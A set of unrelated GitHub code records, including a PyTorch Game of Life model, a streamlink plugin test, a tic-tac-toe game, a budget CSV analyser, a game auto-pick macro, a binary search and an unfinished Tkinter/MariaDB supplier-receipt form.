gol.initialise(w, h, cell_pixel_size)\r\n\r\n model = GridPredictionModel()\r\n model.to(device)\r\n\r\n loss = nn.MSELoss()\r\n optim = torch.optim.Adam(model.parameters(), lr=1e-4)\r\n\r\n episodes = 200\r\n steps = 100\r\n\r\n for episode in range(episodes):\r\n for step in range(steps):\r\n gol.update()\r\n\r\n current_grid_src = gol.get_current_grid()\r\n last_grid_src = gol.get_last_grid()\r\n current_grid_array = np.asarray(current_grid_src).astype(np.float32)\r\n last_grid_array = np.asarray(last_grid_src).astype(np.float32)\r\n\r\n real_grid = torch.from_numpy(current_grid_array).to(device)\r\n\r\n tensor_in = torch.from_numpy(last_grid_array).to(device)\r\n \r\n # network input is a 4d tensor: [batch, channels, h, w]\r\n tensor_in.unsqueeze_(0)\r\n tensor_in.unsqueeze_(1)\r\n real_grid.unsqueeze_(0)\r\n real_grid.unsqueeze_(1)\r\n\r\n tensor_out = model.forward(tensor_in)\r\n\r\n optim.zero_grad()\r\n grid_loss = loss(tensor_out, real_grid)\r\n grid_loss.backward()\r\n optim.step()\r\n\r\n if (step+1) % 100 == 0:\r\n print('Episode {}/{}, Step {}/{}, loss = {:.4f}'.format(episode+1, episodes, step+1, steps, grid_loss))\r\n \r\n gol.reset()\r\n\r\n predicted_grid = tensor_out.squeeze().cpu().detach().numpy()\r\n show_probabilities(w, h, cell_pixel_size, gol.render_probabilities(predicted_grid.tolist(), False))\r\n\r\n predicted_grid_bools = np.zeros(predicted_grid.shape, dtype=bool)\r\n for i, row in enumerate(predicted_grid):\r\n for j, cell in enumerate(row):\r\n if cell > 0.5:\r\n predicted_grid_bools[i][j] = True\r\n\r\n show_grid(w, h, cell_pixel_size, gol.render_grid(predicted_grid_bools.tolist(), False, True))\r\n\r\n save_model(model)\r\n\r\n\r\ndef main():\r\n device = get_cuda_device()\r\n \r\n w = 50\r\n h = 50\r\n cell_pixel_size = 24\r\n\r\n train_grid_model(w, h, cell_pixel_size, device)\r\n \r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n\r\n \r\n","repo_name":"rickmarson/game_of_life_nn","sub_path":"models/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28933960786","text":"import unittest\n\nfrom streamlink.plugins.ard_mediathek import ard_mediathek\n\n\nclass TestPluginard_mediathek(unittest.TestCase):\n def test_can_handle_url(self):\n should_match = [\n 'http://mediathek.daserste.de/live',\n 'http://www.ardmediathek.de/tv/Sportschau/'\n ]\n for url in should_match:\n self.assertTrue(ard_mediathek.can_handle_url(url))\n\n def test_can_handle_url_negative(self):\n should_not_match = [\n 'https://daserste.de/live/index.html',\n 'https://www.daserste.de/live/index.html',\n ]\n for url in should_not_match:\n self.assertFalse(ard_mediathek.can_handle_url(url))\n","repo_name":"NateWeiler/Resources","sub_path":"Python/Python Players/streamlink/tests/plugins/test_ard_mediathek.py","file_name":"test_ard_mediathek.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"de","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"38454529917","text":"def print_board(board):\r\n print(\"---------\")\r\n for row in board:\r\n print(\"|\", end=\"\")\r\n for cell in row:\r\n print(\" \" + cell + \" \", end=\"|\")\r\n print(\"\\n---------\")\r\n\r\n\r\ndef check_winner(board):\r\n for row in board:\r\n if row[0] == row[1] == row[2] != \" \":\r\n return row[0]\r\n\r\n for col in range(3):\r\n if board[0][col] == board[1][col] == board[2][col] != \" \":\r\n return board[0][col]\r\n\r\n if board[0][0] == board[1][1] == board[2][2] != \" \":\r\n return board[0][0]\r\n if board[0][2] == board[1][1] == board[2][0] != \" \":\r\n return board[0][2]\r\n\r\n return None\r\n\r\n\r\ndef play_game():\r\n board = [[\" \", \" \", \" \"] for _ in range(3)]\r\n current_player = \"X\"\r\n winner = None\r\n num_moves = 0\r\n\r\n while winner is None and num_moves < 9:\r\n print_board(board)\r\n print(f\"Player {current_player}'s turn.\")\r\n\r\n while True:\r\n row = int(input(\"Enter the row (0-2): \"))\r\n col = int(input(\"Enter the column (0-2): \"))\r\n\r\n if 0 <= row <= 2 and 0 <= col <= 2 and board[row][col] == \" \":\r\n break\r\n else:\r\n print(\"Invalid move. Try again.\")\r\n\r\n board[row][col] = current_player\r\n num_moves += 1\r\n winner = check_winner(board)\r\n current_player = \"O\" if current_player == \"X\" else \"X\"\r\n\r\n print_board(board)\r\n\r\n if winner:\r\n print(f\"Player {winner} wins!\")\r\n else:\r\n print(\"It's a tie!\")\r\n\r\nplay_game()\r\n","repo_name":"ninjakavin/pythonclass","sub_path":"_tic_tac_toe.py","file_name":"_tic_tac_toe.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41321015436","text":"import os\nimport csv\n\ncsvpath = os.path.join('Resources', 'budget_data.csv')\n\nwith open(csvpath, 'r', newline='') as csvfile:\n\n\tcsvreader = csv.reader(csvfile, delimiter=',')\n\n\tcsv_header = next(csvreader)\n\n\tmonths = 0\n\tnetProfit = 0\n\t\n\tpreviousProfit = 0\n\tcurrentProfit = 0\n\n\tchange = 0\n\ttotalChange = 0\n\n\tgreatestIncrease = 0\n\tgreatestDecrease = 0\n\n\tfor line in csvreader:\n\t\tmonths += 1\n\t\t\n\t\tnetProfit += int(line[1])\n\n\t\tcurrentProfit = int(line[1])\n\n\t\tif previousProfit != 0:\n\t\t\tchange = (currentProfit - previousProfit)\n\t\t\ttotalChange += change\n\n\t\tif change >= greatestIncrease:\n\t\t\tgreatestIncrease = change\n\t\t\tgr_inc_str = str(line[0])\n\n\t\tif change <= greatestDecrease:\n\t\t\tgreatestDecrease = change\n\t\t\tgr_dec_str = str(line[0])\n\t\t\n\t\tpreviousProfit = currentProfit\n\n\tprint('Financial Analysis')\n\tprint('----------------------------')\n\tprint(f'Total Months: {months}')\n\tprint(f'Total: ${netProfit}')\n\tprint(f'Average Change: ${round(totalChange/(months-1), 2)}')\n\tprint(f'Greatest Increase in Profits: {gr_inc_str} (${greatestIncrease})')\n\tprint(f'Greatest Decrease in Profits: {gr_dec_str} (${greatestDecrease})')\n\noutput_path = os.path.join(\"Analysis\", \"Module 3 PyBank Analysis.txt\")\n\nwith open(output_path, 'w') as file:\n\tfile.write('Financial Analysis' + '\\n')\n\tfile.write('----------------------------' + '\\n')\n\tfile.write(f'Total Months: {months}\\n')\n\tfile.write(f'Total: ${netProfit}\\n')\n\tfile.write(f'Average Change: ${round(totalChange/(months-1), 2)}' + '\\n')\n\tfile.write(f'Greatest Increase in Profits: {gr_inc_str} (${greatestIncrease})\\n')\n\tfile.write(f'Greatest Decrease in Profits: {gr_dec_str} (${greatestDecrease})')\n","repo_name":"paulbrichta/python-challenge","sub_path":"PyBank/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3414918017","text":"import pyautogui\r\nimport keyboard\r\n\r\nwant = input('원하는 포지션 입력 : ')\r\nprint('-:마우스 좌표 입력받기')\r\nprint('=:매크로 실행')\r\nlocation = (0,0)\r\nwhile True:\r\n if keyboard.is_pressed('-'):\r\n location = pyautogui.position()\r\n print(location)\r\n if keyboard.is_pressed('='):\r\n for i in range(10):\r\n pyautogui.click(location)\r\n keyboard.write(want)\r\n keyboard.press('enter')\r\n break;","repo_name":"skyil7/LOL_AutoPicker","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22861006024","text":"data = [1,3,6,13,56,123,345,1024,3223,6688]\ndef dichotomy(min,max,d,n):\n '''\n min表示有序列表头部索引\n max表示有序列表尾部索引\n d表示有序列表\n n表示需要寻找的元素\n '''\n mid = (min+max)//2\n if mid==0:\n return 'None'\n elif d[mid]n:\n print('向左侧找!')\n return dichotomy(min,mid,d,n)\n else:\n print('找到了%s'%d[mid])\n return\nres = dichotomy(0,len(data),data,56)\nprint(res)","repo_name":"Sunqk5665/Python_projects","sub_path":"算法手册源代码/4/erfen03.py","file_name":"erfen03.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"23703952492","text":"#!/usr/bin/env python\n# _*_ coding: utf-8 _*_\nimport tkinter\n\nimport Articulos\nimport VentanaGrilla\nimport mariadb\nimport datetime\nimport FuncionesMenu\nimport tkinter as tk\nfrom tkinter import ttk\nfrom tkinter import messagebox\nimport Remitos\n\ndbPk = mariadb.connect(\n host='127.0.0.1',\n user='root',\n password='root',\n database='Pk',\n autocommit=True\n)\ncur = dbPk.cursor()\n\nRemitos_Campos = ('Fecha', 'id_Proveedor', 'id_Articulo', 'cantidad', 'estado', 'nro_Remito', 'Total_Remito',\n 'Motivo') # 'id_Remito', autoincremental\nCamposInt = (1, 2, 3, 5)\nCamposFloat = (6,)\nCamposChar = (4, 7)\nCamposDate = (0,)\nFechaActual = datetime.date.today()\nFechaHoy = datetime.date.today().strftime('%d-%m-%Y')\nRemitos_columnasItems = ('NombreArticulo', 'Cantidad')\nlenRemitosItems = (50, 10)\n\n\n# ---- MENU REMITOS\ndef menuRemitos(opcion):\n def limpiarvar():\n idRemitoVar.set(0)\n fechaVar.set(FechaActual)\n cantidadVar.set(0)\n remitoVar.set(0)\n subtotalVar.set(0)\n costoVar.set('')\n\n def componenteshabilitarRemito(valor): # Valores 'disabled' o 'normal'\n # if valor == 'normal' and opcion == 'Remitos':\n # estado_combo.current(1)\n # else:\n # estado_combo.config(state=valor)\n boton_Actualizar.config(state=valor)\n numeroRemito_input.config(state=valor)\n cantidad_input.config(state=valor)\n motivo_input.config(state=valor)\n\n def deshabilitarbotones(valor):\n boton_Alta.config(state=valor)\n boton_CargarArticulo.config(state=valor)\n boton_FinalizarRemito.config(state=valor)\n # boton_Buscar.config(state=valor)\n boton_Actualizar.config(state=valor)\n boton_Eliminar.config(state=valor)\n\n def limpiarCampos():\n cantidad_input.delete(0, tk.END)\n\n fecha_input.delete(0, tk.END)\n\n numeroRemito_input.delete(0, tk.END)\n subtotal_input.delete(0, tk.END)\n motivo_input.delete(0, tk.END)\n\n def nuevoRemito():\n limpiarvar()\n limpiarCampos()\n ultimoPed = buscarultimoRemito()\n nuevoRemito = ultimoPed + 1\n valores = tk.Listbox(idRemito_combo[\"values\"])\n idRemito_combo[\"values\"] = values + [nuevoRemito]\n idRemito_combo.set(nuevoRemito)\n\n###EVENTOS\n def remitoNumeroEvento(event):\n numeroRemito_input.config(state='disabled')\n boton_CargarArticulo.config(state='normal')\n proveedores_combo.focus()\n\n def elegirProveedor(event):\n articulosprov = listarArticulosPorProveedor()\n articuloElegidoVar.set('')\n articulos_combo['values'] = articulosprov\n\n if len(articulosprov) > 0:\n articulos_combo.current(0)\n\n cantidad_input.config(state='normal')\n boton_CargarArticulo.config(state='normal')\n boton_FinalizarRemito.config(state='normal')\n articulos_combo.config(state='normal')\n\n articulos_combo.focus()\n\n def elegirNroRemito(event):\n RemitosEncontrados = buscarItemsRemitos()\n if len(RemitosEncontrados) > 0:\n for item in RemitosEncontrados:\n articuloEncontradoEleccion = buscarArticulo(item[4])\n itemMostrar = (articuloEncontradoEleccion.nombre, item[5])\n listaDeItemsRemito.append(itemMostrar)\n listaDelRemitos.append(item)\n articulosDelRemitoNombre.append(articuloEncontradoEleccion.nombre)\n registroAux = listaDelRemitos[0]\n idProveedor = registroAux[3]\n proveedor = buscarProveedorPorId(idProveedor)\n proveedorVar.set(proveedor)\n VentanaGrilla.grillaFrame('Cargar', Remitos_columnasItems, lenRemitosItems, listaDeItemsRemito,\n frameItemsRemito)\n proveedores_combo['values'] = proveedor\n proveedores_combo.config(state='disabled')\n articulos_combo['values'] = articulosDelRemitoNombre\n articulos_combo.current(0)\n articulos_combo.focus()\n\n def cargarItemEnterCantidad(event):\n if cantidadVar.get() == 0:\n for item in listaDelRemitos:\n if item[3] == idArticulo:\n messagebox.showwarning(f'Carga de Remito', f'El item ya ha sido cargado.')\n RemitosVent.focus()\n # despues preguntaria si quiere eliminar el item\n cantidad_input.focus()\n else:\n agregarArticulo()\n\n ###FUNCIONES DE BUSQUEDA DE DATOS\n def listarArticulosPorProveedor():\n idprovencontrado = buscarProveedorPorRazonSocial()\n listaArticuloProveedor = 'SELECT * FROM articulos WHERE id_Proveedor = ' + str(idprovencontrado)\n cur.execute(listaArticuloProveedor)\n resultado = cur.fetchall()\n selArticulo = []\n if len(resultado) > 0:\n for ind in resultado:\n selArticulo.append(ind[2])\n return selArticulo\n\n def buscarProveedorPorRazonSocial():\n proveedorabuscar = 'SELECT id_proveedor FROM proveedores WHERE RazonSocial=\\\"' + proveedorVar.get() + '\\\"'\n cur.execute(proveedorabuscar)\n resultado = cur.fetchall()\n for ind in resultado:\n idprov = ind[0]\n return idprov\n\n def buscarProveedorPorId(id):\n proveedorBuscado = 'SELECT * FROM proveedores WHERE id_Proveedor=' + str(id)\n cur.execute(proveedorBuscado)\n resultado = cur.fetchall()\n for ind in resultado:\n nomresultado = ind[2]\n return nomresultado\n\n def listarcombo(tabla, campo):\n if tabla.upper() == 'RemitoS':\n if campo != '':\n buscarcombo = 'SELECT * FROM ' + tabla + ' GROUP BY ' + campo\n elif campo != '':\n idprovencontrado = buscarProveedorPorRazonSocial()\n buscarcombo = 'SELECT * FROM ' + tabla + ' WHERE id_Proveedor = ' + idprovencontrado\n else:\n buscarcombo = 'SELECT * FROM ' + tabla\n cur.execute(buscarcombo)\n resultado = cur.fetchall()\n listadelcombo = []\n id_campo = []\n if len(resultado) < 0:\n messagebox.showwarning(f'LISTADO DE {tabla.upper()}',\n f'No tiene ningun dato cargado en la tabla {tabla.upper()}')\n RemitosVent.focus()\n else:\n for ind in resultado:\n if tabla.upper() == 'PROVEEDORES':\n listadelcombo.append(ind[2])\n id_campo.append(ind[0])\n\n elif tabla.upper() == 'RUBROS':\n listadelcombo.append(ind[1])\n id_campo.append(ind[0])\n\n elif tabla.upper() == 'ARTICULOS':\n listadelcombo.append(ind[2])\n id_campo.append(ind[0])\n\n elif tabla.upper() == 'RemitoS':\n listadelcombo.append(ind[1])\n id_campo.append(ind[0])\n\n return listadelcombo\n\n def RemitosPendientes():\n RemitosPendientes = 'Select * From Remitos WHERE estado = \\\" PENDIENTE \\\" GROUP BY id_Proveedor'\n cur.execute(RemitosPendientes)\n resultadoRemitosPendientes = cur.fetchall()\n if len(resultadoRemitosPendientes) < 1:\n messagebox.showwarning('RemitoS PENDIENTES', f'No hay Remitos PENDIENTES')\n RemitosVent.destroy()\n else:\n\n idRemitoLista = []\n for reg in resultadoRemitosPendientes:\n idRemitoLista.append(reg[0])\n\n listaRemitoSet = set(idRemitoLista)\n listaRemito = list(listaRemitoSet)\n idRemito_combo['values'] = listaRemito\n idRemito_combo.current(0)\n return resultadoRemitosPendientes\n\n def buscarItemsRemitos():\n RemitoBusca = 'SELECT * FROM Remitos WHERE nroRemito = ' + str(idRemito_combo.get())\n cur.execute(RemitoBusca)\n resultado = cur.fetchall()\n if len(resultado) < 1:\n resultado = []\n return resultado\n\n def cargarRetmito():\n RemitosPendientes = RemitosPendientes()\n\n def buscarProveedor():\n if opcion == 'Alta':\n articulosprov = listarArticulosPorProveedor()\n articulos_combo[values] = ttk.Combobox(framecampoRemito, state='readonly', width=40,\n values=articulosprov) # ya que solo puede seleccionar los proveedores\n articulos_combo.grid(row=6, column=51, padx=10, pady=10, sticky='w')\n if len(articulos) > 0:\n if len(articulosprov) > 0:\n articulos_combo.current(0)\n articulos_combo.focus()\n cantidad_input.config(state='normal')\n boton_CargarArticulo.config(state='normal')\n boton_FinalizarRemito.config(state='normal')\n\n return articulosprov\n else:\n messagebox.showwarning('BUSCAR ARTICULOS POR PROVEEDOR', 'El proveedor no tiene articulos cargados\\n'\n 'Elija otro proveedor')\n proveedores_combo.focus()\n\n else:\n listProveedores = 'SELECT * FROM proveedores'\n cur.execute(listProveedores)\n resultado = cur.fetchall()\n selProveedor = []\n if len(resultado) > 0:\n for ind in resultado:\n selProveedor.append((ind[0], ind[2]))\n return selProveedor\n\n # def listarArticulos():\n # listArticulo = 'SELECT * FROM articulos'\n # cur.execute(listArticulo)\n # resultado = cur.fetchall()\n # selArticulos = []\n # if len(resultado) > 0:\n # for ind in resultado:\n # selArticulos.append((ind[0],ind[2]))\n # return selArticulos\n\n def buscarArticuloPorNombre():\n articulobuscar = 'SELECT id_articulo FROM articulos WHERE nombre=\\\"' + articulos_combo.get() + '\\\"'\n cur.execute(articulobuscar)\n resultado = cur.fetchall()\n for ind in resultado:\n idart = ind[0]\n return idart\n\n def buscarultimoRemito():\n # ultRemito = 'SELECT * FROM Remitos ORDER BY id_Remito desc'\n ultRemito = 'SELECT MAX(NroRemito) from Remitos'\n cur.execute(ultRemito)\n resultado = cur.fetchone()\n if len(resultado) < 1:\n ultimo = 0\n else:\n ultimo = resultado[0]\n return ultimo\n\n def encontrarItemRemito(id):\n sqlbusqueda = 'SELECT * FROM Remitos WHERE id_Remito = ' + str(id)\n cur.execute(sqlbusqueda)\n Resultado = cur.fetchall()\n\n if len(Resultado) > 0:\n for ind in Resultado:\n RemitoTupla = []\n for i in range(1, len(ind)):\n RemitoTupla.append(ind[i])\n RemitoEncontrado = Remitos.Remitos(tuple(RemitoTupla))\n\n return RemitoEncontrado\n\n ###FUNCIONES DE CARGA DE ITEMS Y RemitoS\n def agregarArticulo():\n proveedores_combo.config(state='disabled')\n\n idRemito = buscarultimoRemito() + 1\n idProveedor = buscarProveedorPorRazonSocial() # (buscar id_proveedor) de la opcion que haya seleccionado el proveedor\n idArticulo = buscarArticuloPorNombre() # (buscar id del articulo seleccionado\n if cantidadVar.get() < 1:\n messagebox.showwarning(f'Carga de Remito', f'Debe ingresar una Cantidad superior a 0.')\n RemitosVent.focus()\n cantidad_input.select_range(0, tk.END)\n cantidad_input.focus()\n else:\n cantidad = cantidadVar.get()\n\n\n Seguir = True\n if len(listaDelRemitos) < 1:\n Seguir = True\n else:\n for item in listaDelRemitos:\n if item[3] == idArticulo:\n messagebox.showwarning(f'Carga de Remito', f'El item ya ha sido cargado.\\n')\n RemitosVent.focus()\n articuloElegidoVar.set('')\n articulos_combo.current(0)\n articulos_combo.focus()\n Seguir = False\n if Seguir:\n articuloRemito = [idRemito, FechaActual, idProveedor, idArticulo, cantidad, estado, 0, 0, 'Nuevo']\n itemMostrar = (articuloElegidoVar.get(), cantidadVar.get()) # lista de tuplas\n\n listaDelRemitos.append(articuloRemito) # lista de listas\n\n if len(listaDeItemsRemito) > 0: # lista de items\n listaDeItemsRemito.append(itemMostrar)\n VentanaGrilla.grillaFrame('Agregar', Remitos_columnasItems, lenRemitosItems,\n [(articuloElegidoVar.get(), cantidadVar.get(),), ], frameItemsRemito)\n else:\n listaDeItemsRemito.append(itemMostrar)\n VentanaGrilla.grillaFrame('Nuevo', Remitos_columnasItems, lenRemitosItems,\n [(articuloElegidoVar.get(), cantidadVar.get(),), ], frameItemsRemito)\n # articuloElegidoVar.set('')\n articulos_combo.current(0)\n articulos_combo.focus()\n else:\n RemitosVent.focus()\n # articuloElegidoVar.set('')\n articulos_combo.focus()\n\n def finalizarRemito():\n if messagebox.askquestion(f'Remito al Proveedor {proveedorVar.get()}',\n f'Desea finalizar el Remito con los items'\n f'cargados?') == 'yes':\n if len(listaDelRemitos) > 0:\n for reg in listaDelRemitos:\n articuloAcargar = Remitos.Remitos(reg)\n articuloAcargar.altaRemitos()\n\n if messagebox.askquestion(f'Remito al Proveedor {proveedorVar.get()}', f'Carga de Remito EXITOSA\\n'\n f'\\n'\n f'Desea cargar un Nuevo Remito?') == 'yes':\n RemitosVent.destroy()\n menuRemitos('Alta')\n else:\n RemitosVent.destroy()\n\n else:\n messagebox.showwarning(f'Remito al Proveedor {proveedorVar.get()}', 'Remito CANCELADO')\n RemitosVent.destroy()\n\n def modificarRemito():\n pedEncontrado = encontrarRemito()\n if len(pedEncontrado) > 1:\n pedEncontrado.modificarRemitos(idRemito_combo.get())\n # encontarArt = buscarArticulo()\n ArtEncontrado = Articulos.Articulos(tuple(encontarArt))\n ArtEncontrado.aumentarStock(cantidadVar.get())\n dbPk.commit()\n messagebox.showinfo('MODIFICACION RemitoS', 'Registro Modificado')\n\n limpiarvar()\n limpiarCampos()\n\n def buscarArticulo(id):\n buscaart = 'SELECT * FROM articulos WHERE id_articulo = ' + str(id)\n cur.execute(buscaart)\n resultado = cur.fetchall()\n for ind in resultado:\n articulo = []\n for i in range(1, len(ind)):\n articulo.append(ind[i])\n\n articuloEncontradoPorId = Articulos.Articulos(tuple(articulo))\n articuloEncontradoPorId._idArticulos = id\n return articuloEncontradoPorId\n\n # def listarcombo(tabla, campo):\n # if tabla.upper() == 'RemitoS':\n # if campo != '':\n # buscarcombo = 'SELECT * FROM ' + tabla + ' GROUP BY ' + campo\n # else:\n # buscarcombo = 'SELECT * FROM ' + tabla\n # cur.execute(buscarcombo)\n # resultado = cur.fetchall()\n # listadelcombo = []\n # if len(resultado) < 0:\n # messagebox.showwarning(f'LISTADO DE {tabla.upper()}',\n # f'No tiene ningun dato cargado en la tabla {tabla.upper()}')\n # RemitosVent.focus()\n # else:\n # for ind in resultado:\n # if tabla.upper() == 'PROVEEDORES':\n # listadelcombo.append(ind[2])\n #\n # elif tabla.upper() == 'ARTICULOS':\n # listadelcombo.append(ind[2])\n #\n # elif tabla.upper() == 'RemitoS':\n # listadelcombo.append(ind[1])\n #\n # return listadelcombo\n\n def eliminarRemito():\n\n RemitoElim = encontrarRemito()\n if messagebox.askquestion('Eliminar Registro', f'Esta seguro de dar de baja al Remito?\\n '\n f'Numero: {RemitoElim.idRemito} \\n'\n f'Proveedor: {proveedores_combo.get()}') == 'yes':\n RemitoElim.borrarRemitos(RemitoElim.idRemito)\n dbPk.commit()\n\n else:\n messagebox.showwarning('Eliminar Registro', f'No se ha eliminado el registro')\n del RemitoElim\n limpiarvar()\n RemitosVent.destroy()\n\n # VENTANA REMITOS\n RemitosVent = tk.Toplevel() # creo ventana que dependa del raiz si cierro el raiz se cierran todas las ventanas\n # idRemitoVarsVent = RemitosVent.winfo_id()\n RemitosVent.title('Tech-Hard - Remitos de Proveedores') # pone titulo a la ventana principal\n RemitosVent.geometry('600x700') # Tamaño en pixcel de la ventana\n RemitosVent.iconbitmap('imagenHT.ico') # icono\n RemitosVent.minsize(600, 700)\n RemitosVent.resizable(0, 0) # size ancho, alto 0 no se agranda, 1 se puede agrandar\n\n framecampoRemito = tk.Frame(RemitosVent)\n # framecampoRemito.pack(fill='both')\n # framecampoRemito.config(bg='lightblue')\n framecampoRemito.config(width=600, height=400)\n framecampoRemito.config(cursor='') # Tipo de cursor si es pirate es (arrow defecto)\n framecampoRemito.config(relief='groove') # relieve hundido tenemos\n # FLAT = plano RAISED=aumento SUNKEN = hundido GROOVE = ranura RIDGE = cresta\n framecampoRemito.config(bd=25) # tamano del borde en pixeles\n # framcampoCli.pack(side=RIGHT) # lo ubica a la derecha\n # framecampoRemito.pack(anchor=SE) # lo ubica abajo a la derecha\n framecampoRemito.pack(fill='x') # ancho como el padre\n framecampoRemito.pack(fill='y') # alto igual que el padre\n framecampoRemito.pack(fill='both') # ambas opciones\n framecampoRemito.pack(fill='both', expand=1) # expandirese para ocupar el espacio\n\n # idcliente = tk.IntVar()\n def config_label(mi_label, fila):\n espaciado_labels = {'column': 50, 'sticky': 'e', 'padx': 10, 'pady': 10}\n # color_labels ={'bg':color_fondo, 'fg':color_letra,'font':fuente}\n mi_label.grid(row=fila, **espaciado_labels)\n # mi_label.config(**color_labels)\n\n idRemitoVar = tk.IntVar()\n fechaVar = tkinter.StringVar()\n cantidadVar = tk.IntVar()\n proveedorVar = tk.StringVar()\n articuloElegidoVar = tk.StringVar()\n remitoVar = tk.IntVar()\n subtotalVar = tk.DoubleVar()\n costoVar = tk.DoubleVar()\n\n '''\n entero = IntVar() # Declara variable de tipo entera\n flotante = DoubleVar() # Declara variable de tipo flotante\n cadena = StringVar() # Declara variable de tipo cadena\n booleano = BooleanVar() # Declara variable de tipo booleana\n '''\n#### label/entry/botones\n numeroRemito_label = tk.Label(framecampoRemito, text='Numero Remito')\n config_label(numeroRemito_label,3)\n numeroRemito_input = tk.Entry(framecampoRemito, textvariable=remitoVar, width=40, justify=tk.RIGHT)\n numeroRemito_input.grid(row=3, column=51, padx=10, pady=10, sticky='w')\n numeroRemito_input.config(state='normal')\n numeroRemito_input.bind('',remitoNumeroEvento)\n\n fecha_label = tk.Label(framecampoRemito, text='fecha')\n config_label(fecha_label, 4)\n fecha_input = tk.Entry(framecampoRemito, textvariable=fechaVar, width=20, justify=tk.RIGHT)\n fecha_input.grid(row=4, column=51, padx=10, pady=10, sticky='w')\n Fechahoystr = f'{FechaActual.year}-{FechaActual.month}-{FechaActual.day}'\n fechaVar.set(Fechahoystr)\n fecha_input.config(state='disabled')\n\n proveedores_label = tk.Label(framecampoRemito, text='Proveedor')\n config_label(proveedores_label, 5)\n proveedores = listarcombo('Proveedores', '')\n proveedores_combo = ttk.Combobox(framecampoRemito, state='readonly', textvariable=proveedorVar, width=40,\n values=proveedores) # ya que solo puede seleccionar los proveedores\n proveedores_combo.grid(row=5, column=51, padx=10, pady=10, sticky='w')\n proveedores_combo.current(0)\n proveedores_combo.bind('<>', elegirProveedor)\n\n articulos_label = tk.Label(framecampoRemito, text='Articulo')\n config_label(articulos_label, 6)\n articulos = listarcombo('Articulos', '')\n articulos_combo = ttk.Combobox(framecampoRemito, state='readonly', textvariable=articuloElegidoVar, width=40,\n values=articulos) # ya que solo puede seleccionar los proveedores\n articulos_combo.grid(row=6, column=51, padx=10, pady=10, sticky='w')\n if len(articulos) > 0:\n articulos_combo.current(0)\n\n cantidad_label = tk.Label(framecampoRemito, text='Cantidad')\n config_label(cantidad_label, 7)\n cantidad_input = tk.Entry(framecampoRemito, textvariable=cantidadVar, width=20, justify=tk.RIGHT)\n cantidad_input.grid(row=7, column=51, padx=10, pady=10, sticky='w')\n cantidad_input.bind('', cargarItemEnterCantidad)\n\n # estado_label = tk.Label(framecampoRemito, text='Estado')\n # config_label(estado_label, 8)\n # estado_combo = ttk.Combobox(framecampoRemito, state='readonly', width=30,\n # values=['PENDIENTE', 'COMPLETADO']) # ya que solo puede seleccionar los proveedores\n # estado_combo.grid(row=8, column=51, padx=10, pady=10, sticky='w')\n # estado_combo.current(0)\n # estado_combo.config(state='disabled')\n\n costo_label = tk.Label(framecampoRemito, text='Costo')\n config_label(costo_label, 8)\n costo_input = tk.Entry(framecampoRemito, textvariable=costoVar, width=20, justify=tk.RIGHT)\n costo_input.grid(row=8, column=51, padx=10, pady=10, sticky='w')\n\n subtotal_label = tk.Label(framecampoRemito, text='Subtotal Remito')\n config_label(subtotal_label, 10)\n subtotal_input = tk.Entry(framecampoRemito, textvariable=subtotalVar, width=30, justify=tk.RIGHT)\n subtotal_input.grid(row=10, column=51, padx=10, pady=10, sticky='w')\n subtotal_input.config(state='disabled')\n\n####frame grilla\n frameItemsRemito = tk.Frame(RemitosVent)\n frameItemsRemito.config(width=600, height=150)\n frameItemsRemito.config(cursor='') # Tipo de cursor si es pirate es (arrow defecto)\n frameItemsRemito.config(relief='groove') # relieve hundido tenemos\n # FLAT = plano RAISED=aumento SUNKEN = hundido GROOVE = ranura RIDGE = cresta\n frameItemsRemito.config(bd=25) # tamano del borde en pixeles\n # framcampoCli.pack(side=RIGHT) # lo ubica a la derecha\n # framecampoRemito.pack(anchor=SE) # lo ubica abajo a la derecha\n frameItemsRemito.pack(fill='x') # ancho como el padre\n frameItemsRemito.pack(fill='y') # alto igual que el padre\n frameItemsRemito.pack(fill='both') # ambas opciones\n frameItemsRemito.pack(fill='both', expand=1) # expandirese para ocupar el espacio\n\n # VentanaGrilla.Scrollbar_Example(RemitosVent)\n\n # FRAME BOTONES -> FUNCIONES CRUD (Create, read, update, delete)\n framebotonesRemito = tk.Frame(RemitosVent)\n framebotonesRemito.pack()\n\n boton_Alta = tk.Button(framebotonesRemito, text='Nuevo Remito')\n boton_Alta.grid(row=0, column=1, padx=5, pady=10, ipadx=7)\n\n boton_CargarArticulo = tk.Button(framebotonesRemito, text='Cargar Articulo', command=agregarArticulo)\n boton_CargarArticulo.grid(row=0, column=2, padx=5, pady=10, ipadx=7)\n\n boton_FinalizarRemito = tk.Button(framebotonesRemito, text='Finalizar Remito', command=finalizarRemito)\n boton_FinalizarRemito.grid(row=0, column=3, padx=5, pady=10, ipadx=7)\n\n # boton_Buscar = tk.Button(framebotonesRemito, text='Buscar Pendientes')\n # boton_Buscar.grid(row=0, column=2, padx=5, pady=10, ipadx=7)\n\n boton_Actualizar = tk.Button(framebotonesRemito, text='Actualizar', command=modificarRemito)\n boton_Actualizar.grid(row=0, column=4, padx=5, pady=10, ipadx=7)\n\n boton_Eliminar = tk.Button(framebotonesRemito, text='Eliminar', command=eliminarRemito)\n boton_Eliminar.grid(row=0, column=5, padx=5, pady=10, ipadx=7)\n\n if opcion == 'Alta':\n listaDeItemsRemito = []\n listaDelRemitos = []\n # idRemito_combo.config(state='disabled')\n fecha_input.config(state='disabled')\n\n # boton_buscarProveedor.config(state='normal')\n # boton_buscarArticulo.config(state='disabled')\n deshabilitarbotones('disabled')\n componenteshabilitarRemito('disabled')\n limpiarCampos()\n\n articulos_combo.config(state='disabled')\n\n numeroRemito_input.focus()\n\n elif opcion == 'Baja':\n listaDeItemsRemito = []\n listaDelRemitos = []\n 